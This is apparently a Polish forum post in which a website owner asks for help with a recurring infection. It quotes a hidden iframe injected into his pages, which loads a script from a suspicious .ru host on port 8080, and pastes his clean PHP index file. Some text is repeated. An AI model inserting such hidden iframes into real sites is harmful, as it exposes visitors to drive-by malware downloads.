16-07-2009, 22:04
Niestety nie ma w index.php tego kodu:
Kod w index.php wygląda tak:
Nie ma tego również w index.tpl (folder templates).
Zmieniłem hasła do wszystkich stron oraz nie mam tego zapisane w Total Commander (wcześniej miałem, klikałem tylko w 'Połącz' i wchodził na serwer).
Niestety to nic nie dało, nadal pojawia się ramka na moich stronach, jest dzień spokoju a w kolejny znowu ramka. Co zrobić w takiej sytuacji, może faktycznie usunę Total Commandera, a zainstaluje jakiś bezpieczny (tylko jaki ? - najlepiej tak prosty jak Total Commander).
Zainstalowałem również program anty szpiegowskie - "Spyware Doctor", "AVG Anti-Spyware" oraz "Trojan Remover". Co prawda znalazły kilka rzeczy, ale problem pozostał.
Nie rozumie jednego, zmieniłem hasło i wpisuje go w Total Commanderze ręcznie i znowu wirus zmienia mi indexy na stronach.
Kod:
<iframe src="http://a5j.ru:8080/ts/in.cgi?pepsi101" width=125 height=125 style="visibility: hidden"></iframe>
Kod w index.php wygląda tak:
Kod PHP:
<?php
/**
* Główny program. Plik zajmuje się wy¶wietlaniem ostatnio dodanych opisów,
* opisów z wybranej kategorii, opisów napisanych przez wskazanego użytkownika,
* wyszukiwaniem opisów
*
* Zgodnie z licencj± nie wolno usuwać poniższego tekstu
*
* Licencja Nr: xxxxxxxxxxxxxxxxxxxxxxxx
*
* @Copyright 2006 B-D-S www.b-d-s.pl
* @link (demo) http://mygad.b-d-s.pl/mygad2.0/
* @link http://mygad.b-d-s.pl/
*/
include('./common.php');
include(PATH_FUNCTIONS.'files2array.php');
// ===========Ładujemy ustawienia do pamięci podręcznej===========
$site->assign('config', $site->cache());
// ===============================================================
$site->assign('categories', $db->get_results('SELECT c.*,count(d.id) AS count FROM '.PREFIX.'categories c LEFT JOIN '.PREFIX.'descs d ON (d.cat_id=c.id AND d.active="1") GROUP BY c.id ORDER BY name ASC', ARRAY_A));
$site->assign('menu', $db->get_results('SELECT url,text FROM '.PREFIX.'links WHERE type="M" ORDER BY pos ASC' ,ARRAY_A));
$site->assign('numDescsAll', $db->get_count('SELECT count(*) FROM '.PREFIX.'descs'));
$site->assign('numDescsNoActive', $db->get_count('SELECT count(*) FROM '.PREFIX.'descs WHERE active!="1" '));
if($site->cache('show_news') == 1) $site->assign('news', $db->get_results('SELECT n.*,FROM_UNIXTIME(n.time,"'.$site->cache('date_format').'") AS date,COUNT(c.id) AS count,SUBSTRING(n.text,1,'.$site->cache('news_length').') AS text FROM '.PREFIX.'news n LEFT JOIN '.PREFIX.'comments c ON (n.id=c.news_id) GROUP BY n.id ORDER BY n.time DESC', ARRAY_A));
// uwaga na niektórych serwerach nie działa mysql'owa funkcja substring
// jak dot±d nie znalazłem przyczyny(http://forum.webhelp.pl/viewtopic.php?t=115433)
// w takim przypadku należy użyć poniższego kodu:
// if($site->cache('show_news') == 1) $site->assign('news', $db->get_results('SELECT n.*,FROM_UNIXTIME(n.time,"'.$site->cache('date_format').'") AS date,COUNT(c.id) AS count FROM '.PREFIX.'news n LEFT JOIN '.PREFIX.'comments c ON (n.id=c.news_id) GROUP BY n.id ORDER BY n.time DESC', ARRAY_A));
if($site->cache('show_links') == 1) $site->assign('links', $db->get_results('SELECT * FROM '.PREFIX.'links WHERE type="L" ORDER BY pos ASC', ARRAY_A));
if($site->cache('show_users') == 1) $site->assign('users', $db->get_results('SELECT author, count(id) count FROM '.PREFIX.'descs WHERE active = "1" AND author != "admin" AND author != "anonim" GROUP BY author ORDER BY count DESC, author ASC LIMIT 0,'.$site->cache('num_users').'', ARRAY_A));
if($site->cache('show_last_descs') == 1) $site->assign('lastDescs', $db->get_results('SELECT *,FROM_UNIXTIME(time,"'.$site->cache('date_format').'") AS date FROM '.PREFIX.'descs WHERE active = "1" ORDER BY time DESC LIMIT 0,'.$site->cache('num_last_descs').'' ,ARRAY_A));
// należy wkleić plik do prawej kolumny
if(isset($_GET['mode'])) {
// zmienna $modulesArray przechowuje listę modułów, jakie maj± być dostępne
// funkcja files2array pobiera nazwy plików i wstawia je do tablicy
// oczywiscie robi to przy każdym przeładowaniu strony
// aby nieco przy¶pieszyć pracę skryptu można zrezygnować z użycia tej funkcji i zdefinować moduły ręcznie
// wtedy zmianne $modulesArray powinna wygl±dać mniej więcej tak $modulesArray = array('add.php', 'best.php', ...);
$modulesArray = files2array(PATH_MODULES);
if(in_array($_GET['mode'], $modulesArray)) include(PATH_MODULES.$_GET['mode'].'.php');
$include = $_GET['mode'];
} else {
$include='main';
}
$site->assign('include', './'.$include.'.tpl');
$site->display('./index.tpl');
ob_end_flush();
?>
Nie ma tego również w index.tpl (folder templates).
Zmieniłem hasła do wszystkich stron oraz nie mam tego zapisane w Total Commander (wcześniej miałem, klikałem tylko w 'Połącz' i wchodził na serwer).
Niestety to nic nie dało, nadal pojawia się ramka na moich stronach, jest dzień spokoju a w kolejny znowu ramka. Co zrobić w takiej sytuacji, może faktycznie usunę Total Commandera, a zainstaluje jakiś bezpieczny (tylko jaki ? - najlepiej tak prosty jak Total Commander).
Zainstalowałem również program anty szpiegowskie - "Spyware Doctor", "AVG Anti-Spyware" oraz "Trojan Remover". Co prawda znalazły kilka rzeczy, ale problem pozostał.
Nie rozumie jednego, zmieniłem hasło i wpisuje go w Total Commanderze ręcznie i znowu wirus zmienia mi indexy na stronach.